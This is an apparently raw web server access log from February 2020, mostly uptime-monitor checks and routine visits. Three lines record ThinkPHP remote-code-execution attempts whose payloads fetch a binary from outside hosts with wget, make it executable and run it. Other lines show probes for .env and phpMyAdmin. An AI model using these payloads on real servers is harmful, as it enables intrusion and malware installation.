212.91.246.72 - - [27/Feb/2020:12:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.9.163 - - [27/Feb/2020:12:50:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:12:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.165.196.183 - - [27/Feb/2020:12:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:12:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [27/Feb/2020:12:54:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:12:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.192.104.242 - - [27/Feb/2020:12:58:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
196.217.107.194 - - [27/Feb/2020:12:58:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:12:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:12:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.50.28.107 - - [27/Feb/2020:13:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:13:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.48.34.231 - - [27/Feb/2020:13:07:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:13:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [27/Feb/2020:13:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:13:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [27/Feb/2020:13:09:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:13:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.24.175.169 - - [27/Feb/2020:13:11:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:13:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.64.241 - - [27/Feb/2020:13:12:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:13:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:16:28 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:13:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:17:56 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:13:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:18:46 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.103 - - [27/Feb/2020:13:19:08 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:13:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:19:29 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
176.192.104.242 - - [27/Feb/2020:13:19:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:13:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:21:09 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.103 - - [27/Feb/2020:13:21:14 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:13:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:21:57 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.103 - - [27/Feb/2020:13:21:57 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:13:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.103 - - [27/Feb/2020:13:22:41 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [27/Feb/2020:13:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.225.155.251 - - [27/Feb/2020:13:32:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:13:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.197.250.199 - - [27/Feb/2020:13:34:14 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.97.113.217 - - [27/Feb/2020:13:34:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:13:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [27/Feb/2020:13:35:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [27/Feb/2020:13:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.66.23 - - [27/Feb/2020:13:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:13:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.236.8 - - [27/Feb/2020:13:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:13:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:13:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.202 - - [27/Feb/2020:14:03:04 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.204 - - [27/Feb/2020:14:03:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:14:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [27/Feb/2020:14:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
91.215.120.209 - - [27/Feb/2020:14:03:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:14:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [27/Feb/2020:14:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
223.71.167.166 - - [27/Feb/2020:14:04:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [27/Feb/2020:14:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [27/Feb/2020:14:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
223.71.167.166 - - [27/Feb/2020:14:06:08 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
212.91.246.72 - - [27/Feb/2020:14:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [27/Feb/2020:14:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
223.71.167.166 - - [27/Feb/2020:14:07:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [27/Feb/2020:14:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.102.189.161 - - [27/Feb/2020:14:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
18.144.15.189 - - [27/Feb/2020:14:10:18 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:14:10:18 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:14:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.57.37.195 - - [27/Feb/2020:14:14:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:14:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.118.101.94 - - [27/Feb/2020:14:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:14:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.136.123.251 - - [27/Feb/2020:14:22:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.152.0.8 - - [27/Feb/2020:14:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.73.34.142 - - [27/Feb/2020:14:27:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.183.107.130 - - [27/Feb/2020:14:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:14:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:14:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:14:35:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:14:35:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:14:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
